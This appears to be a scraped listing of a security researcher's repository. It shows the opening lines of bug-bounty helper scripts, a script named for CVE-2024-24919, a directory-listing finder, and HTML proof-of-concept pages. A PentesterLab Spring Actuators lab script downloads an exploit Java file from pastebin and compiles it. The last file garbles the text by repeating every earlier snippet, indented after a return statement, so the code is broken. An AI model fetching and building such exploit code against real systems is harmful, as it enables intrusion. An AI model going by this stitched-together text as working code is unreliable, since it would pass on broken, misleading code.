YasserGersy

## HackeroneAuto.py
import requests,os,base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Edit hacker and token with your handle and api token , or create auth.txt including  this format  username:token
list_my_programs=False
bounty_only=True
scope_only=True
hacker=''
token=''

## CVE-2024-24919.auto.py
import sys,re
import requests
import concurrent.futures
import threading
import os
import requests
import socket
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from termcolor import colored

## Reader.py
#!/bin/python -e
import sys,os,glob,time
errors_count=0
max_id=100011265576762
debug=False
start=time.time()

def GetSecondsPassed():
	global start
	end=time.time()

## pentesterlab.com___spring-actuators.sh
mkdir src
mkdir src/META-INF
mkdir src/META-INF/services
curl https://pastebin.com/raw/XbCvxXT6 -o src/ExploitScriptEngineFactory.java
echo 'ExploitScriptEngineFactory'  > src/META-INF/services/javax.script.ScriptEngineFactory

docker run -it -v `pwd`:/code openjdk /bin/bash

cd /code
javac -source 1.8 -target 1.8 src/ExploitScriptEngineFactory.java

## index.html
<html>
<meta name="referrer" content="unsafe-url">


<body onload="f()">
	<a href="" id="h"> home </a><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
	<div id="div1">

	</div>
	</hr><p style="float:left;">Type</p> <p style="color:green;padding-left : 20px;float:left;" >win-a-bicycle</p>  <p style="padding-left : 20px;float:left;">in the two boxes and click enter</p><br/><img src="http://tiny.cc/img3" />

## Post.Message.html
<!DOCTYPE html>
<!-- Author Yasser Gersy @yassergersy v 2 -->
<html>
<head>
    <meta charset="utf-8">
</head>
<script>

 var last_message='';
 var rcvd_msg_count=-2;

## pythphp_get_func_names.py
import requests

r=requests.get('http://php.net/manual/en/indexes.functions.php')
res=""
for p in r.text.encode('utf-8').split('<a href="'):
	if p.startswith('function'):
		z=(p.split('"')[0].split('function.')[1]).replace('-','_')[0:-4]
		res=res+z+"\r"
open('php_fun_names.txt','w').write(res)

## dirlister.py
import sys,os,requests
print """
____________________________________________________
Dir listing finder

usage python dirlister.py domains_path  list_path

requirements wfuzz , python-requests
_____________________________________________________
"""

## H1LP.py
#!/bin/python
import requests
try:
	requests.packages.urllib3.disable_warnings()
except:
	print 'Error'

print 'Hackerone programs loader'
print '--------------------------------------------------------'

## HackthisSite_realistic_6.py
def most_common(lst):
    return max(set(lst), key=lst.count)

def stripme(d):
	z=''
	for c in d:
		if c in '0123456789':
			z=z+c
	return z
	import requests,os,base64
	from requests.packages.urllib3.exceptions import InsecureRequestWarning
	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

	# Edit hacker and token with your handle and api token , or create auth.txt including this format username:token
	list_my_programs=False
	bounty_only=True
	scope_only=True
	hacker=''
	token=''
	import sys,re
	import requests
	import concurrent.futures
	import threading
	import os
	import requests
	import socket
	from requests.packages.urllib3.exceptions import InsecureRequestWarning
	from termcolor import colored
	#!/bin/python -e
	import sys,os,glob,time
	errors_count=0
	max_id=100011265576762
	debug=False
	start=time.time()

	def GetSecondsPassed():
	global start
	end=time.time()
	mkdir src
	mkdir src/META-INF
	mkdir src/META-INF/services
	curl https://pastebin.com/raw/XbCvxXT6 -o src/ExploitScriptEngineFactory.java
	echo 'ExploitScriptEngineFactory' > src/META-INF/services/javax.script.ScriptEngineFactory

	docker run -it -v `pwd`:/code openjdk /bin/bash

	cd /code
	javac -source 1.8 -target 1.8 src/ExploitScriptEngineFactory.java
	<html>
	<meta name="referrer" content="unsafe-url">


	<body onload="f()">
	<a href="" id="h"> home </a><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
	<div id="div1">

	</div>
	</hr><p style="float:left;">Type</p> <p style="color:green;padding-left : 20px;float:left;" >win-a-bicycle</p> <p style="padding-left : 20px;float:left;">in the two boxes and click enter</p><br/><img src="http://tiny.cc/img3" />
	<!DOCTYPE html>
	<!-- Author Yasser Gersy @yassergersy v 2 -->
	<html>
	<head>
	<meta charset="utf-8">
	</head>
	<script>

	var last_message='';
	var rcvd_msg_count=-2;
	import requests

	r=requests.get('http://php.net/manual/en/indexes.functions.php')
	res=""
	for p in r.text.encode('utf-8').split('<a href="'):
	if p.startswith('function'):
	z=(p.split('"')[0].split('function.')[1]).replace('-','_')[0:-4]
	res=res+z+"\r"
	open('php_fun_names.txt','w').write(res)
	import sys,os,requests
	print """
	____________________________________________________
	Dir listing finder

	usage python dirlister.py domains_path list_path

	requirements wfuzz , python-requests
	_____________________________________________________
	"""
	#!/bin/python
	import requests
	try:
	requests.packages.urllib3.disable_warnings()
	except:
	print 'Error'

	print 'Hackerone programs loader'
	print '--------------------------------------------------------'
	def most_common(lst):
	return max(set(lst), key=lst.count)

	def stripme(d):
	z=''
	for c in d:
	if c in '0123456789':
	z=z+c
	return z